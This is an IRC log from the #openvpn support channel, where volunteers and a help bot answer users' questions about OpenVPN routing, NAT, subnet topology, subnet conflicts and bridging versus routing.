03:59 < itpings> Guys
03:59 < MaxDamage> Hi.
03:59 < MaxDamage> :>
04:00 < itpings> Fishchli
04:00 < itpings> you were right :D
04:00 < itpings> Thanks a lot
04:01 < fischli> may i propose "TCP/IP Network Administration" from O'REILLY :P
04:01 < itpings> lol
04:01 < itpings> Actually let me explain my slef
04:01 < itpings> i use Cisco so i was thinking that it should learn automatically
04:01 < itpings> but i forgot i was working on linux ...my bad
04:01 < itpings> lol
04:04 < itpings> so do you think that i can add rip kinda protocol to linux for automatic routing ?
04:04 < itpings> or do i have to nat
04:05 < fischli> you may use "iptables -t nat -A POSTROUTING -o eth1 -j SNAT --to-source 192.168.100.254"
04:05 < fischli> would be easier
04:07 < itpings> yup itpings
04:07 < itpings> lol
04:08 < itpings> so fischli i owe you
04:09 < itpings> lol
04:09 < itpings> also i would like to be part of this channel
04:09 < fischli> you're welcome
04:10 < itpings> will create a howto and will post on my site and any where guys want me to post
04:10 < itpings> that would be a real help for newbies like me in openvpn
04:13  * fischli does not know if TCP/IP basics are the main topic of this channel ... any opinion?
04:14 -!- dazo_afk is now known as dazo
04:15 < itpings> lol
04:15 < itpings> ok sometimes it happens
04:15 < itpings> mistakes are there to be made lol
04:15 < itpings> brb
04:25 -!- p3rror [~p3rror@41.249.253.52] has quit [Ping timeout: 248 seconds]
04:28 -!- p3rror [~p3rror@41.249.253.52] has joined #openvpn
04:37 -!- speed_racer84 [~speed_rac@173.45.222.229] has quit [Ping timeout: 256 seconds]
04:37 < itpings> so what do i have to do ?
04:42 < itpings> just wait for someone like me to help ?
05:16 -!- ade_b [~Ade@94.125.18.11] has joined #openvpn
05:16 -!- ade_b [~Ade@94.125.18.11] has quit [Changing host]
05:16 -!- ade_b [~Ade@redhat/adeb] has joined #openvpn
05:22 -!- monk [~aknm@unaffiliated/aknm] has quit [Read error: Operation timed out]
05:23 -!- Guest67991 [~aknm@196.14.139.96] has joined #openvpn
05:24 -!- Guest67991 [~aknm@196.14.139.96] has left #openvpn []
05:32 -!- gen2monk [~aknm@unaffiliated/aknm] has joined #openvpn
05:33 < gen2monk> who banned me?
05:33 < gen2monk> show thy self!
05:39 -!- gen2monk is now known as monk
06:20 -!- Alina-malina [Alina-mali@46.162.236.108] has joined #openvpn
06:41 -!- crane [~crane@static-87-79-93-178.netcologne.de] has quit [Remote host closed the connection]
06:55 -!- itpings [~itpings@89.218.38.200] has quit [Remote host closed the connection]
07:00 -!- adac [~adac@chello080109174123.tirol.surfer.at] has joined #openvpn
07:00 < adac> Is it possible to run openvpn server in a cluster mode?
07:02 -!- uuuppz [~kvirc@77.107.233.34] has quit [Quit: KVIrc 4.2.0 Equilibrium http://www.kvirc.net/]
07:12 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: takamichi]
07:13 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
07:19 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has left #openvpn ["Leaving"]
07:20 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
07:26 -!- mattock is now known as mattock_afk
07:43 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Remote host closed the connection]
07:49 < MaxDamage> Hi guys. me again. When I encrypt my private keys, it asks for a username and password. The password would obviously be the PEM passphrase, but what's the username for that? Is it the unix name that encrypted it or the unique client name?
07:50 <@ecrist> monk: why do you think you were banned?
07:51 < monk> ecrist, dunno, something went wrong with freenode and my nick
07:51 <@ecrist> adac: not sure specifically what you mean, but sure.
07:51 < Aketzu_> MaxDamage: there is no username
07:51 < MaxDamage> Aketzu_, that's what I want to believe as well :3
07:51 < MaxDamage> when i launch it from console it only asks for a password
07:52 < MaxDamage> but when i launch the "openvpn client" (15.7 mb installation from openvpn.net) it asks for a username and password
07:52 < MaxDamage> since i'm using windows, i can't set it to run as a daemon over the console, sadly
07:52 <@ecrist> MaxDamage: then the client config must have --auth-user-pass or something
07:53 < MaxDamage> ecrist, thought so myself, but the config is very basic. http://paste2.org/7G82FGx5
07:53 < Aketzu_> did you download the openvpn-as client or opensource community edition?
07:54 < EugeneKay> !download
07:54 < MaxDamage> i probably did that, yeah
07:54 <@vpnHelper> "download" is (#1) http://openvpn.net/index.php/download/community-downloads.html to download openvpn or (#2) OpenVPN's Windows installer now includes OpenVPN GUI. Don't bother with http://openvpn.se anymore or (#3) Don't trust download.com at all. It provides an extremely old version with malware: http://insecure.org/news/download-com-fiasco.html or (#4) in the community version of openvpn (only
07:54 <@vpnHelper> thing supported here) there is no separate download for client/server, it is the same install with different configs
07:54 < EugeneKay> MaxDamage ^
07:54 < MaxDamage> EugeneKay, thanks.
07:54 < MaxDamage> Maybe I did download the access server client.
07:54 < MaxDamage> Silly me...
07:55 < MaxDamage> EugeneKay, I take it I need this -- openvpn-install-2.3.2-I001-i686.exe
07:55 <@ecrist> yup
07:55 < EugeneKay> Ya
07:58 < MaxDamage> Alright!
07:58 < MaxDamage> Works properly now, over the GUI
07:59 < MaxDamage> dropped my network for a second, though
07:59 < MaxDamage> okay, connected, assigned IP address
08:03 < MaxDamage> Any idea why it sets 255.255.255.255 on the server machine as the subnet size?
08:03 < MaxDamage> And 255.255.255.252 on the client?
08:03 < MaxDamage> any way i can configure that?
08:04 < MaxDamage> server config has this line: server 10.8.0.0 255.255.255.0
08:04 < MaxDamage> so it should be a 24 bit subnet
08:06 -!- mattock_afk is now known as mattock
08:06 < MaxDamage> no ping between them :
08:06 < EugeneKay> !net30
08:06 <@vpnHelper> "net30" is "/30" is (#1) http://openvpn.net/index.php/documentation/faq.html#slash30 explains why routed clients each use 4 ips, or (#2) you can avoid this behavior with by reading !topology
08:06 < EugeneKay> !topology
08:06 <@vpnHelper> "topology" is (#1) it is possible to avoid the !/30 behavior if you use 2.1+ with the option: topology subnet This will end up being default in later versions. or (#2) Clients will receive addresses ending in .2, .3, .4, etc, instead of being divided into 2-host subnets. or (#3) See http://osdir.com/ml/network.openvpn.devel/2005-09/msg00020.html for more history on this.
08:08 < MaxDamage> I'm using 2.2.1
08:08 < MaxDamage> so i should put topology subnet into my server.conf?
08:10 < MaxDamage> yup
08:10 < MaxDamage> that worked
08:10 < MaxDamage> lol @ 128 ttl
08:15 < MaxDamage> really not sure why you'd put every client in their own subnet and route those together
08:15 < MaxDamage> it seems very workaroundy for not being able to use the same tun device
08:15 < MaxDamage> :>
08:15 < EugeneKay> Because Windows
08:15 < EugeneKay> See the More History link above if you want the details
08:15 < MaxDamage> reading
08:17 < MaxDamage> ah i see
08:17 < MaxDamage> so instead of telling microsoft that they're idiots to no avail
08:17 < MaxDamage> you decided to work around it
08:17 < MaxDamage> good job
08:25 < EugeneKay> I'm not a dev, but yeah.
08:27 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
08:35 < MaxDamage> EugeneKay, by 'you' I meant the community.
08:37 -!- speed_racer84 [~speed_rac@173.45.222.229] has joined #openvpn
08:47 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Ping timeout: 240 seconds]
08:49 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
08:51 -!- dxtr [~dxtr@gateway/tor-sasl/dxtr] has quit [Ping timeout: 240 seconds]
08:52 -!- ade_b [~Ade@redhat/adeb] has quit [Quit: Too sexy for his shirt]
08:53 -!- dxtr [~dxtr@gateway/tor-sasl/dxtr] has joined #openvpn
09:00 -!- Neal_ is now known as iNeal
09:03 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Remote host closed the connection]
09:05 -!- midacts [~midacts@207.59.77.254] has quit [Ping timeout: 256 seconds]
09:08 -!- iNeal is now known as Neal_
09:23 -!- fischli [~fischli@data.fischer-ing.de] has left #openvpn []
09:24 -!- speed_racer84 [~speed_rac@173.45.222.229] has quit [Ping timeout: 240 seconds]
09:47 -!- iliv [~iliv@5.248.193.200] has quit [Ping timeout: 268 seconds]
09:52 -!- monk [~aknm@unaffiliated/aknm] has quit [Remote host closed the connection]
09:53 -!- speed_racer84 [~speed_rac@c-76-30-149-251.hsd1.tx.comcast.net] has joined #openvpn
10:07 -!- zeus_ [~takamichi@217.23.15.212] has joined #openvpn
10:11 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Ping timeout: 276 seconds]
10:44 -!- speed_racer81 [~speed_rac@c-76-30-149-251.hsd1.tx.comcast.net] has joined #openvpn
10:46 -!- zeus__ [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
10:47 -!- speed_racer84 [~speed_rac@c-76-30-149-251.hsd1.tx.comcast.net] has quit [Ping timeout: 240 seconds]
10:48 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has quit [Ping timeout: 264 seconds]
10:49 -!- zeus_ [~takamichi@217.23.15.212] has quit [Ping timeout: 246 seconds]
10:50 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has joined #openvpn
10:52 -!- raidz_away is now known as raidz
10:52 -!- midacts [~midacts@207.59.77.254] has joined #openvpn
10:56 -!- EugeneKay is now known as EUGENEKAY
10:57 -!- vraa__ [~speed_rac@c-76-30-149-251.hsd1.tx.comcast.net] has joined #openvpn
11:01 -!- speed_racer81 [~speed_rac@c-76-30-149-251.hsd1.tx.comcast.net] has quit [Ping timeout: 246 seconds]
11:03 -!- oO0Oo [oO0Oo@gateway/shell/elitebnc/x-kdsnjtmsuwhqnfgd] has quit [Ping timeout: 276 seconds]
11:06 -!- oO0Oo [oO0Oo@gateway/shell/elitebnc/x-nnqtduiawojgbgxg] has joined #openvpn
11:13 -!- Muffins [~nanderson@69.146.233.50] has joined #openvpn
11:13 < Muffins> OOOoooooOOOOooooo
11:17 < Muffins> I don't suppose anyone feels like helping me figure out why my Site to Site VPN setup isn't working eh? >.>
11:17 <@ecrist> !ask
11:17 <@vpnHelper> "ask" is don't ask to ask, just ask your question please, see this link for how to get help on IRC: http://workaround.org/getting-help-on-irc
11:18 -!- dazo is now known as dazo_afk
11:20 < Muffins> Here's my current setup:  I have our work site lan, which is 10.100.0.0/16, and we have a remote hosting lan which is 192.168.1.0/24, I have a pfsense box that's acting as our current OpenVPN server using PKI.  The remote site is able to connect back to the pfsense box via the tunnel network, which is 172.16.2.0/24, and communicate with everyone behind the pfsense box and perform DNS resolutions etc..,
11:20 < Muffins> the issue I'm having is that I am unable to communicate with any of our servers on the remote hosting side of things
11:20 < Muffins> The remote box that's running the OpenVPN client is Server 2008 with SP2, and is running OpenVPN client 2.0, and I've checked the route table for windows and I'm seeing correct entries
11:21 < Muffins> which I'll paste in a moment
11:21 < Muffins> Network Destination        Netmask          Gateway       Interface  Metric
11:21 < Muffins> 10.100.0.0      255.255.0.0       172.16.2.5       172.16.2.6     30
11:21 < Muffins> 172.16.2.1  255.255.255.255       172.16.2.5       172.16.2.6     30
11:21 < Muffins> 172.16.2.4  255.255.255.252         On-link        172.16.2.6    286
11:21 < Muffins> 172.16.2.6  255.255.255.255         On-link        172.16.2.6    286
11:21 < Muffins> 172.16.2.7  255.255.255.255         On-link        172.16.2.6    286
11:22 -!- Muffins was kicked from #openvpn by ecrist [no pasting so much]
11:22 -!- Muffins [~nanderson@69.146.233.50] has joined #openvpn
11:22 <@ecrist> wb
11:22 < Muffins> Sorry about that...
11:22 < Muffins> Wont happen again >.>
11:22 <@ecrist> you need to change your remote hosting lan subnet
11:23 <@ecrist> something random, inside a 1918 space
11:23 <@ecrist> !1918
11:23 <@vpnHelper> "1918" is (#1) RFC1918 makes three unique netblocks available for private use: 10.0.0.0/8, 172.16.0.0/12, and 192.168.0.0/16 or (#2) see also: http://en.wikipedia.org/wiki/Private_network or http://www.faqs.org/rfcs/rfc1918.html or (#3) Too lazy to find your own subnet? Try this one: http://scarydevilmonastery.net/subnet.cgi
11:23 <@ecrist> the problem with 192.168.1.0/24 and 192.168.0.0/24 is everyone uses them by default
11:24 < Muffins> Ok
11:24 <@ecrist> you cannot have conflicts, or routing won't work.
11:24 <@ecrist> even jumping to 192.168.54.0/24 would be better
11:24 < Muffins> ok
11:24 < Muffins> What if my remote was 10.200.0.0/16?
11:24 -!- itpings [~stek@95.56.77.152] has joined #openvpn
11:24 < Muffins> THat's in all honesty what it actually is, I'm doing testing first before deploying >.>
11:24 <@ecrist> you don't really need a /16, do you?
11:24 < Muffins> Well, I can't change the remote subnet : \
11:25 < Muffins> It's kind of a hands off thing, my only job is supposed to be getting the site to site up
11:25 <@ecrist> sure
11:25 < Muffins> But do you think I might hit conflicts with the /16
11:25 < Muffins> ?
11:25 <@ecrist> yes
11:25 < Muffins> ok
11:25 < Muffins> Well
11:25 < Muffins> Better yet, what if it was 10.200.1.0/24
11:25 < Muffins> ?
11:25 <@ecrist> not necessarily, but the larger your subnet, the more likely you'll hit a conflicting route
11:25 <@ecrist> perfect
11:25 < Muffins> ok
11:25 < Muffins> tyvm
11:25 < Muffins> <3
11:26 <@ecrist> np
11:26 < Muffins> I'll work on getting at the very least /24
11:26 -!- Denial [~Denial@90.205.133.229] has quit []
11:26 < Muffins> Just so I understand a little better though, the objective here is to push your subnets as far away from eachother as possible correct?
11:27 < Muffins> well.. 'push'
11:27 -!- p3rror [~p3rror@41.249.253.52] has quit [Quit: Leaving]
11:27 <@ecrist> no
11:28 <@ecrist> don't have to be far away, just not the same
11:28 < Muffins> Alright
11:34 < itpings> hey guys
11:34 < itpings> how u doin all
11:41 < Muffins> Whutup
11:52 < itpings> nuttin much
11:53 -!- cornfeedhobo [~cornfeedh@unaffiliated/cornfeed] has left #openvpn ["When I leave, come together like butt cheeks."]
12:01 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
12:12 -!- goldkatze [~nobody@unaffiliated/goldkatze] has joined #openvpn
12:33 -!- fischli [~fischli@static-31-25-152-181.ewacom.ropa.net] has joined #openvpn
12:37 -!- dazo_afk is now known as dazo
12:45 -!- kplong [~klong@c-50-135-252-126.hsd1.wa.comcast.net] has joined #openvpn
12:46 < kplong> !welcome
12:46 <@vpnHelper> "welcome" is (#1) Start by stating your goal, such as 'I would like to access the internet over my vpn' || new to IRC? see the link in !ask || we may need !logs and !configs and maybe !interface to help you. || See !howto for beginners. || See !route for lans behind openvpn. || !redirect for sending inet traffic through the server. || Also interesting: !man !/30 !topology !iporder !sample !forum
12:46 <@vpnHelper> !wiki !mitm or (#2) Don't use 192.168.1.0/24 or 192.168.0.0/24 (too much potential for conflict)
12:48 < kplong> Hey folks!.. couple questions if I may-- first off, Is it customary to use a separate /24 for example only for VPN client IPs?  My goal is to have clients be able to access multiple internal machines on my existing /24
12:49 < pekster> It's not only customary, it's required unless you're bridging
12:49 < kplong> I am bridging currently (though so far I can only ping the vpn server box when I connect)
12:50 < pekster> Why are you bridging?
12:50 < pekster> !tunortap
12:50 <@vpnHelper> "tunortap" is (#1) you ONLY want tap if you need to pass layer2 traffic over the vpn (traffic destined for a MAC address). If you are using IP traffic you want tun. Dont waste the extra overhead. or (#2) and if your reason for wanting tap is windows shares, see !wins or (#3) also remember that if someone gets access to any side of a tap vpn they can use layer2 attacks like arp poisoning against you
12:50 <@vpnHelper> over the vpn or (#4) lan gaming? use tap! or (#5) Normal Android/iOS devices (not rooted/jailbroken) support only tun.
12:52 < kplong> I read that it is easier to set up. I need to look into but we are using btsync , not sure if that will require layer 2 traffic specifically.
12:52 < kplong> Also figured I could use my internal DHCP server that is already configured
12:54 < pekster> bridging is harder to set up since it requires setting up an OS-specific bridge rather than routing
12:54 < pekster> !whybridge
12:54 <@vpnHelper> "whybridge" is (#1) you only bridge if you want layer2 to the lan. if you want layer2 only between vpn nodes then routed tap is enough. if you only want layer3 use tun. or (#2) See this URL for a more in-depth discussion on bridging vs routing: https://community.openvpn.net/openvpn/wiki/BridgingAndRouting or (#3) See also !tunortap
12:54 < pekster> Hmm, there was a factoid to the effect of "if you chose bridging becuase you thought it was 'easier', you want routing"
12:55 < pekster> You don't need to worry about DHCP becuase openvpn manages the address itself (you still are going to have it do that in bridge mode anyway, unless you understand the nuances of exempting VPN clients by DHCP class so they don't get a default route passed to them)
12:58 -!- ERRY is now known as erry
13:00 < kplong> Ok, thanks for the info. Maybe I'll switch to routing and use btsync only on the VPN server if it requires layer2.
13:01 < pekster> There's going to be no (sane) file transfer protocol that uses L2
13:03 < kplong> I'm not sure bittorrent is considered sane but I don't doubt you :)
13:03 < kplong> May not do any L2 I just saw this " If your devices are on the same local network, BitTorrent Sync will use your LAN for faster synchronization."
13:03 < pekster> That's not relevant for a VPN that's inherently not in the same LAN
13:04 < pekster> Using a VPN doesn't magically give you LAN-speeds; it's still transporting it across the network link between the client & server
13:04 < pekster> fwiw, the BitTorrent protocol uses TCP as its transport, which is L4
13:10 -!- M-Technic [~voltron@c-67-188-136-26.hsd1.ca.comcast.net] has joined #openvpn
13:15 -!- klong- [~klong@c-50-135-252-126.hsd1.wa.comcast.net] has joined #openvpn
13:21 -!- klong- [~klong@c-50-135-252-126.hsd1.wa.comcast.net] has quit []
13:24 -!- xBytez [~xbytez@unaffiliated/xbytez] has quit [Ping timeout: 252 seconds]
13:26 -!- xBytez [~xbytez@2a00:f48:1025:feed:b00b:feed:7ae9:4cde] has joined #openvpn
13:27 < Wintereise> !shotfun-security
13:27 < Wintereise> !shotgun
13:27 < Wintereise> Hm
13:27 <@vpnHelper> "shotgun" is (#1) the most effective form of physical security or (#2) <hyper_ch> shotgun security? <EugeneKay> If you try to physically attack my network, I chase you with a shotgun.
13:27 -!- p3rror [~p3rror@105.158.214.189] has joined #openvpn
13:27 < WormFood> starting about 2 weeks ago, I started getting a lot of "IP packet with unknown IP version=15 seen" messages in my logs...WTF is that, and how do I fix it?
13:29 < pekster> WormFood: Some application is attempting to send traffic down the tun device that doesn't have one of 2 valid options for an IP packet version that openvpn can understand (read: route properly.) Valid versions are 4 or 6 (ipv4/ipv6) and something is sending packets with version=15
13:30 < WormFood> hhhmmm....any idea why this just started all of a sudden? Perhaps something new on the network?
13:30 < pekster> Some googling before led me to some kernel support that seems to form packets with 0xFF in the packet header, but I don't recall what that support was offhand
13:31 < WormFood> I run openvpn on my router, so it services the entire network. It is possible a client could be doing that?
13:31 < pekster> Sure, if it's transporting packets from the internal LAN; as far as the IP stack on the router is concerned, the veresion within the IP header isn't relavant (but it is to openvpn, which uses it to understand what to do with the packet)
13:32 < WormFood> I suppose I should fire up the old packet sniffer, and see what is really going on.
13:32 -!- xBytez [~xbytez@2a00:f48:1025:feed:b00b:feed:7ae9:4cde] has quit [Ping timeout: 252 seconds]
13:33 < WormFood> I've changed my openvpn server and client. I just updated both of them, and I notice that traceroute isn't working across the openvpn link. I only show 2 address, the address of the router, and the IP I'm tracing. Could that possibly be related to this version=15 problem?
13:33 < WormFood> and of course, it did work over the vpn in the past. I don't see anything obvious.
13:34 -!- xBytez [~xbytez@2a00:f48:1025:feed:b00b:feed:7ae9:4cde] has joined #openvpn
13:36 < pekster> Provided the hosts in the packet path are configured to return the typical traceroute packets (generally UDP, although some tools let you trace with ICMP or TCP too) you should see each routing hop, so router -> remote VPN peer -> final target (or the upstream router if you're routing externally)
13:37 < pekster> That sounds unrelated to your first issue since all of those are IP packets that would have version=4 (or 6 for IPv6) in the header
13:39 < WormFood> I'm sure I'm overlooking something
13:49 -!- altker128 [~altker128@c-24-16-15-217.hsd1.wa.comcast.net] has joined #openvpn
13:49 -!- altker128 [~altker128@c-24-16-15-217.hsd1.wa.comcast.net] has left #openvpn ["Konversation terminated!"]
13:57 -!- n2deep [n2deep@odin.sdf-eu.org] has joined #openvpn
13:58 -!- emmanuelux [~emmanuelu@192.123.25.109.rev.sfr.net] has joined #openvpn
14:12 -!- HaxCore [~p3rror@41.249.129.63] has joined #openvpn
14:15 -!- p3rror [~p3rror@105.158.214.189] has quit [Ping timeout: 276 seconds]
14:18 -!- jmgao [~jmgao@nexus.insolit.us] has joined #openvpn
14:19 -!- jmgao [~jmgao@nexus.insolit.us] has left #openvpn []
14:19 -!- jmgao [~jmgao@nexus.insolit.us] has joined #openvpn
14:29 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has joined #openvpn
14:33 -!- kplong [~klong@c-50-135-252-126.hsd1.wa.comcast.net] has quit [Ping timeout: 240 seconds]
14:50 -!- cornfeedhobo [~cornfeedh@unaffiliated/cornfeed] has joined #openvpn
14:55 -!- Thermi [~Thermi@unaffiliated/thermi] has quit [Remote host closed the connection]
14:59 -!- jmgao [~jmgao@nexus.insolit.us] has left #openvpn []
15:01 -!- Thermi [~Thermi@unaffiliated/thermi] has joined #openvpn
15:06 -!- kplong [~klong@c-50-135-252-126.hsd1.wa.comcast.net] has joined #openvpn
15:07 -!- fischli [~fischli@static-31-25-152-181.ewacom.ropa.net] has left #openvpn []
15:21 -!- dazo is now known as dazo_afk
15:26 -!- vraa__ [~speed_rac@c-76-30-149-251.hsd1.tx.comcast.net] has quit [Ping timeout: 256 seconds]
15:28 -!- mattock is now known as mattock_afk
15:30 -!- Rallias is now known as Gasseus
15:52 -!- Lars_G [~Lars@unaffiliated/lars-g/x-000001] has joined #openvpn
15:58 -!- gffa [~unknown@unaffiliated/gffa] has quit [Quit: sleep]
16:12 -!- itpings [~stek@95.56.77.152] has quit [Ping timeout: 252 seconds]
16:12 -!- kplong [~klong@c-50-135-252-126.hsd1.wa.comcast.net] has quit []
16:21 -!- speed_racer84 [~speed_rac@173.45.222.229] has joined #openvpn
16:33 -!- WormFood [~wormfood@120.128.2.171] has quit [Ping timeout: 256 seconds]
16:36 -!- WormFood [~wormfood@120.128.2.171] has joined #openvpn
16:50 -!- Socket- [~Socket_@pool-108-28-190-93.washdc.fios.verizon.net] has left #openvpn []
16:50 -!- zeus__ [~takamichi@c122-219.i07-31.onvol.net] has quit [Ping timeout: 248 seconds]
16:52 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 252 seconds]
17:01 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Remote host closed the connection]
17:02 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
17:03 -!- dvl- is now known as dvl
17:06 -!- groda [~groda@ip24.stallgarden.ac] has joined #openvpn
17:07 < groda> !welcome
17:07 <@vpnHelper> "welcome" is (#1) Start by stating your goal, such as 'I would like to access the internet over my vpn' || new to IRC? see the link in !ask || we may need !logs and !configs and maybe !interface to help you. || See !howto for beginners. || See !route for lans behind openvpn. || !redirect for sending inet traffic through the server. || Also interesting: !man !/30 !topology !iporder !sample !forum
17:07 <@vpnHelper> !wiki !mitm or (#2) Don't use 192.168.1.0/24 or 192.168.0.0/24 (too much potential for conflict)
17:07 < groda> !route
17:07 <@vpnHelper> "route" is (#1) http://www.secure-computing.net/wiki/index.php/OpenVPN/Routing or https://community.openvpn.net/openvpn/wiki/RoutedLans (same page mirrored) if you have lans behind openvpn, read it DONT SKIM IT or (#2) READ IT DONT SKIM IT! or (#3) See !tcpip for more info about a more basic networking guide or (#4) See !serverlan or !clientlan for steps and troubleshooting flowcharts for LANs behind
17:07 <@vpnHelper> the server or client
17:09 < groda> Hello everyone, I would like to know if it is possible to place a vpn in an intranet which can then be reached from the internet and gives access to the computers in the intranet.
17:10 < ngharo> yes
17:11 < groda> Okay, is there any example configs for this?
17:12 < ngharo> !serverlan
17:12 <@vpnHelper> "serverlan" is (#1) for a lan behind a server, the server must have ip forwarding enabled (!ipforward), the server needs to push a route for its lan to clients, and the router of the lan the server is on needs a route added to it (!route_outside_openvpn) or (#2) see !route for a better explanation or (#3) Handy troubleshooting flowchart: http://ircpimps.org/serverlan.png
17:13 < groda> Is it possible to do this without changing settings in the router?
17:13 < pekster> The router on the LAN? No, not unless you're going to abuse NAT
17:13 < ngharo> the machines on your lan need to know how to talk back to your openvpn clients
17:14 < pekster> Don't NAT becuase you "can't" route properly -- the correct way to do that is routing
17:14 < ngharo> i mean i think you could insert routes on every machine instead of on the lan gateway
17:14 < ngharo> but that's just a maintenance nightmare
17:15 < groda> Let's say i want to setup a VPN on my work computer so I can access the work server from my home computer with openvpn, is that possible without having to modify either the router or the server?
17:15 -!- russoisraeli [~igor@malka.Princeton.EDU] has quit [Remote host closed the connection]
17:16 < ngharo> you'll be able to send traffic to the server but you'll never get any traffic back from it without that route on the gateway
17:17 < ngharo> sounds like you're better off with some remote access solution like ssh or rdp
17:17 < groda> why wont the server send the data back to my work computer and then back to my home computer thru openvpn?
17:18 < pekster> Because you don't have end-to-end connectivity
17:18 < pekster> Thus you either NAT-hack around it, or route properly
17:18 < ngharo> because if you watch the traffic you'll see that the source is from some foreign subnet
17:18 < ngharo> (the vpn subnet)
17:18 < pekster> Why can't you add a return route to either the target system or the LAN's gateway?
17:19 < pekster> (if you're not the administrator, then you should be talking to the person responsible for the network anyway)
17:19 < groda> I talked to them but they said it was okay for me to setup a vpn but they wouldn't do it for me
17:20 < pekster> Then maybe a NAT-overload (aka source-NAT) setup is right for you
17:20 < groda> Could you link me to an example of that?
17:20 < pekster> Your server-side LAN systems won't be able to reach your remote VPN clients, just the other way around (such is how NAT works)
17:20 < pekster> That's fairly off-topic here, and varies based on what OS you're using
17:21 < pekster> netfilter uses the SNAT or MASQUERADE targets, while PF has its own "nat-to" syntax
17:22 < pekster> Consult your local distro-centric documentation for details
17:23 < groda> Wait, can't I just place a raspberry pi as a openvpn server at work and then only allow one client to connect and trick the work server that the my home computer is the raspberry pi?
17:24 < pekster> "trick"? What are you going to do, perform a card slight-of-hand trick to it?
17:24 < ngharo> lol, groda you're discribing NAT
17:24 < groda> And then the work server would see the raspberry pi ip but everything is in reality getting forwarded to my home computer+
17:24 < groda> ?
17:24 < pekster> That's now NAT works
17:24 -!- master_o1_master [~master_of@p4FF24FE9.dip0.t-ipconnect.de] has quit [Ping timeout: 246 seconds]
17:24 < groda> haha
17:24 < pekster> It's implementation is off-topic here becuase #openvpn is not designed to help you learn to use your OS or firewall or such
17:24 < pekster> !101
17:24 <@vpnHelper> "101" is This channel is not a '101' replacement for any of the following topics or others: Networking, Firewalls, Routing, Your OS, Security, etc etc
17:24 < groda> so it's possible then
17:25 < groda> where could I go to ask these questions then?
17:25 < pekster> 17:22:40 < pekster> Consult your local distro-centric documentation for details
17:25 < pekster> The clever reader will even note I referenced the two most common tools to do this under the 2 most common OSes to be doing it on (Linux and BSD)
17:25 < pekster> Further reading is left as an excersize to the reader
17:26 < groda> thanks
17:26 -!- master_of_master [~master_of@p4FF241A6.dip0.t-ipconnect.de] has joined #openvpn
17:32 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has quit [Quit: gone]
17:42 -!- |1li [~|1li@108-201-65-149.lightspeed.ftwotx.sbcglobal.net] has quit [Quit: Leaving]
17:50 -!- Muffins [~nanderson@69.146.233.50] has quit [Quit: Leaving]
17:53 -!- WormFood [~wormfood@120.128.2.171] has quit [Ping timeout: 252 seconds]
17:54 -!- WormFood [~wormfood@120.128.2.171] has joined #openvpn
18:04 -!- NOTHING4YOU is now known as Nothing4You
18:11 -!- groda [~groda@ip24.stallgarden.ac] has quit [Remote host closed the connection]
19:01 -!- HaxCore [~p3rror@41.249.129.63] has quit [Quit: Leaving]
19:09 -!- zeshoem [~mnathani@198-84-231-11.cpe.teksavvy.com] has joined #openvpn
19:10 -!- zeshoem [~mnathani@198-84-231-11.cpe.teksavvy.com] has quit [Client Quit]
19:10 -!- mnathani [~mnathani@198-84-231-11.cpe.teksavvy.com] has joined #openvpn
19:31 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Ping timeout: 240 seconds]
19:38 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
19:45 -!- excalibr [~excalibr@unaffiliated/excalibr] has quit [Disconnected by services]
19:45 -!- excalibr_ [~excalibr@ec2-50-18-223-198.us-west-1.compute.amazonaws.com] has joined #openvpn
19:55 -!- adac [~adac@chello080109174123.tirol.surfer.at] has quit [Ping timeout: 252 seconds]
20:09 -!- raidz is now known as raidz_away
20:40 -!- excalibr_ is now known as excalibr
20:40 -!- excalibr [~excalibr@ec2-50-18-223-198.us-west-1.compute.amazonaws.com] has quit [Changing host]
20:40 -!- excalibr [~excalibr@unaffiliated/excalibr] has joined #openvpn
20:55 -!- emmanuelux [~emmanuelu@192.123.25.109.rev.sfr.net] has quit [Remote host closed the connection]
20:58 -!- goldkatze [~nobody@unaffiliated/goldkatze] has quit [Ping timeout: 246 seconds]
21:16 -!- Devastator [~devas@unaffiliated/devastator] has quit [Ping timeout: 256 seconds]
21:16 -!- Devastator [~devas@177.18.196.29] has joined #openvpn
21:23 -!- timmmaaaayyy [~timmmaaaa@cpe-68-175-79-100.nyc.res.rr.com] has joined #openvpn
21:25 < timmmaaaayyy> hey all.  i have openvpn client running on like 5 raspberry pi's running raspbmc.  i jsut setup a new one and i can't get openvpn orking right.  i install it via apt-get, reboot, and there's still no tun0 interface.  any idea why this would be?  or how i might troubleshoot this?
21:25 -!- Devastator [~devas@177.18.196.29] has quit [Changing host]
21:25 -!- Devastator [~devas@unaffiliated/devastator] has joined #openvpn
21:29 < pekster> timmmaaaayyy: Simply installing openvpn doesn't create a tun device; openvpn can either create one dynamically when it starts, or you can create a persistent one with the openvpn command, or your distro's commands (under Linux, that is now supported by the `ip` command)
21:29 < pekster> I also have no clue what 'raspbmc' is -- #openvpn supports openvpn, not some package that can go on a particular piece of embedded hardware
21:31 -!- excalibr [~excalibr@unaffiliated/excalibr] has quit [Quit: excalibr]
21:31 -!- excalibr [~excalibr@unaffiliated/excalibr] has joined #openvpn
21:32 < timmmaaaayyy> its just a modified version on debian
